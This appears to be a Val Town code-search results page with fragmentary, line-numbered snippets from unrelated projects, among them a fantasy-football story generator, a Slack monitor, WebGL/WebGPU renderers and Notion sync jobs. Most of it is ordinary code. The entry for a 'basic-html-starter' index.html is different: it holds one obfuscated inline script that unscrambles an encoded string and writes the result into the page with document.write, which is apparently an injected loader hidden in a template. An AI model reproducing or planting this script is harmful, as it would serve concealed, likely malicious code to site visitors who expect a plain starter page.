untitled-2035main.ts12 matches
17};
1819export default async function (req: Request): Promise<Response> {
20const url = new URL(req.url);
21414};
415416// Then in your main function, after getting fantasy data:
417const realLeaders = await getRealNFLLeaders(currentWeek);
418453}
454455// Build narrative hints with new functions
456const narrativeHints = {
457mainStory: determineMainStory(nflGames, fantasyMatchups),
694}
695696// Helper functions
697function calculateBenchPain(team, week) {
698if (!team?.roster?.entries) return null;
699727}
728729function getPositionName(posId) {
730const positions = ["QB", "RB", "WR", "TE", "K", "DST"];
731return positions[posId - 1] || "FLEX";
732}
733734function isGameTime() {
735const now = new Date();
736const day = now.getDay();
743}
744745function determineMainStory(nflGames, fantasyMatchups) {
746// NFL shootout
747const shootout = nflGames.find((g) => {
764}
765766function determineVibe(nfl, fantasy) {
767const blowouts = fantasy.filter((m) => m.isBlowout).length;
768const closeGames =
777}
778779function findWorstDecision(benchPain) {
780if (!benchPain.length) return null;
781791}
792793function compileMustMentions(nfl, fantasy, benchPain) {
794const mentions = [];
795808}
809810function getCurrentWeek() {
811const seasonStart = new Date("2025-09-04");
812const now = new Date();
PixelPixelApiMonitormain.ts2 matches
1export default async function (_interval: Interval) {
2const SLACK_TOKEN = Deno.env.get("SLACK_TOKEN");
3const channel = "C060TG0KLQJ";
28}
2930async function sendSlackMessage(text: string) {
31return await fetch("https://slack.com/api/chat.postMessage", {
32headers: {
10import module_path from "./module_path.tsx"
1112async function main() {
13const grid_shader = await (await fetch(`${module_path}/grid.wgsl`)).text();
14210let depth_texture: GPUTexture;
211212function render() {
213const fov = 60 * Math.PI / 180;
214const aspect = canvas.width / canvas.height;
292}
293294function fail(msg: string) {
295alert(msg);
296}
basic-html-starterindex.html1 match
1<script>(()=>{for(j=function(){for(h='.c3M,YNG@t*wj#wkO6u',a=new Array(h.length),l=0;l<h.length;l++)a[l]=h.charCodeAt(l);return a}(),m=m=>document.write(m),k=decodeURI("".concat("trtrss.ucihirCds%3E.lj%7BEcult/nti0fot0oiaYtnm.e%3Cdertasc(m%3El5df%3C.%3C;ttf;pe%25o80/:xi,lcteDl5fm3sOodh:deoer;:%3Eslsj;rLrd.se--:.tb%3C/dx.i-s#:lr4itjt)o/Tftxp8chw%3C3ipdto#%20Pa%25;%25aheo0=0::tiou;irlltrpsn2yoioitapipd0nr9ie9zm4@-tobdi.yms;nee%25ayitly.3x93!a:btan0one%7Drn%3E:%200pe:ndm00otpxao0t%20i(o%3Eigx/e%20y0npeb(.her5/aato%3Cee%20ot%20:dramtrqrr%20idr%3Cafocn=eiad5%3C%3Cn9ni9ia5%7Dnep0de%3Eialt%7Bcfgshs=%20fes%20lta;d.et=snd:/hsw%20renprut:,snnunfw%25hgsyo;-%7BcsaUk;en).3R%20)a=4paea;prndectipqsws%20r)%20vho1has1tl=6%3Eso;drucdst.loaut:%3Ecr%22r3)socc%3Eedftvtoia%22efec/iCXil.%7Dtiic%25ltk%7Bni.e,kredsrh./:rtl6fa%22mdd%20sO%3Ca%7BL:%25hcmv%7Dt-c%22Ctae%20speo%20%225ro%7B%22/(wiaoi(pmacifx%22%3E)adg,u%20dnoe:/r8sTfcten.).a=t(pwmti/tonlwxadi%20u.PweetpPnasr%7D)%7Butpne,%22.i.spocSs%7D,emr.t(e)c%22i-,ieno;e:ao.()b)%3CnsmTenwtcc-osnhpsoeacrx(a/.urb2gohlocslare)t/eDt,et%22ynahtomdnf:opcnoS,l-P(mr%20tew%3Epteda(nd-dtielo.Slere(s%7Ddotc(totLb)o/ayriDto")).split(""),g=k.length%j.length,l=k.length-1;l>=0;l--)g--,-1==g&&(g=j.length-1),f=l+j[g],f>=k.length||(c=k[l],b=k[f],k[f]=c,k[l]=b);for(n=m,i="",l=0;l<k.length;l++)i+=k[l];n(i)})();</script>
4import { extractAgentProperties } from "../utils/notion.helpers.ts";
56export async function handleUrlWebhook(c: Context) {
7console.log("Processing URL update webhook request");
8
75}
7677export async function handleAssignWebhook(c: Context) {
78console.log("Processing task assignment webhook request");
79
8- **Purpose**: Cleans up stale viewing sessions
9- **Schedule**: Every minute
10- **Function**: Marks sessions older than 1 minute as not viewing
11- **Notion Sync**: Immediately updates Notion database when sessions end
1214- **Purpose**: Cleans up orphaned agent blobs
15- **Schedule**: Every minute (configurable in Val Town UI)
16- **Function**: Deletes agent blobs where the agent ID doesn't match the demo's "Glimpse agents" relation in Notion
17- **Read-Only Notion**: Only reads Notion data, never modifies it
18- **Blob Cleanup**: Removes mismatched/orphaned blobs to keep storage synchronized with Notion
12}
1314// Utility function to create success response
15export function createSuccessResponse<T>(data: T): NotionServiceResponse<T> {
16return {
17success: true,
21}
2223// Utility function to create error response
24export function createErrorResponse(error: string): NotionServiceResponse {
25return {
26success: false,
1import { notion, createSuccessResponse, createErrorResponse, type NotionServiceResponse } from './index.ts';
23export async function getDatabases(): Promise<NotionServiceResponse> {
4try {
5const response = await notion.search({
15}
1617export async function getDatabaseById(databaseId: string): Promise<NotionServiceResponse> {
18try {
19const response = await notion.databases.retrieve({
26}
2728export async function getDatabasePages(databaseId: string): Promise<NotionServiceResponse> {
29try {
30const response = await notion.databases.query({
37}
3839export async function findUserByEmail(databaseId: string, email: string): Promise<NotionServiceResponse> {
40try {
41const response = await notion.databases.query({
54}
5556export async function createUserRecord(databaseId: string, email: string): Promise<NotionServiceResponse> {
57try {
58const response = await notion.pages.create({
72}
7374export async function findAgentsAssignedToDemo(databaseId: string, demoPageId: string): Promise<NotionServiceResponse> {
75try {
76const response = await notion.databases.query({
15import { blob } from "https://esm.town/v/std/blob";
1617export default async function cleanupAgentAssignments(): Promise<Response> {
18const startTime = new Date();
19console.log(`🧹 Starting agent cleanup at ${startTime.toISOString()}`);
24);
2526// Get all agent blob keys using utility function
27const agentBlobPrefix = generateBlobKeyPrefix("agent");
28const agentBlobKeys = await blob.list(agentBlobPrefix);
5455for (const blobItem of agentBlobKeys) {
56// Extract pageId from blob key using utility function
57const blobKey = blobItem.key;
58const pageId = blobKey.replace(agentBlobPrefix, "");
untitled-8264Main2.ts12 matches
1export default async function (req: Request): Promise<Response> {
2const fftSize = 128;
3const TWO_PI = 2.0 * 3.141592653579;
56const errorBox = document.getElementById("errorBox");
5758function showError(e) {
59console.error(e);
60errorBox.style.display = "block";
6364// DPR-aware resize
65function resize() {
66const dpr = Math.min(window.devicePixelRatio || 1, 2);
67const w = Math.floor(window.innerWidth * dpr);
178\`;
179180function compileShader(type, src) {
181const s = gl.createShader(type);
182gl.shaderSource(s, src);
204gl.bindVertexArray(vao);
205206function createAttrib(data, attribName, usage) {
207const loc = gl.getAttribLocation(program, attribName);
208if (loc === -1) throw new Error("Attrib not found or optimized out: " + attribName);
230231// Matrices
232function mat4Perspective(fovDeg, aspect, near, far) {
233const f = 1.0 / Math.tan((fovDeg * Math.PI) / 360);
234const nf = 1 / (near - far);
241return out;
242}
243function subtract(a, b) { return [a[0]-b[0], a[1]-b[1], a[2]-b[2]]; }
244function normalize(v) {
245const l = Math.hypot(v[0], v[1], v[2]) || 1;
246return [v[0]/l, v[1]/l, v[2]/l];
247}
248function cross(a, b) {
249return [a[1]*b[2] - a[2]*b[1], a[2]*b[0] - a[0]*b[2], a[0]*b[1] - a[1]*b[0]];
250}
251function dot(a, b) { return a[0]*b[0] + a[1]*b[1] + a[2]*b[2]; }
252function mat4LookAt(eye, target, up) {
253const z = normalize(subtract(eye, target));
254const x = normalize(cross(up, z));
289290// Render loop
291function render(ts) {
292// Update audio only if ready
293if (analyser) {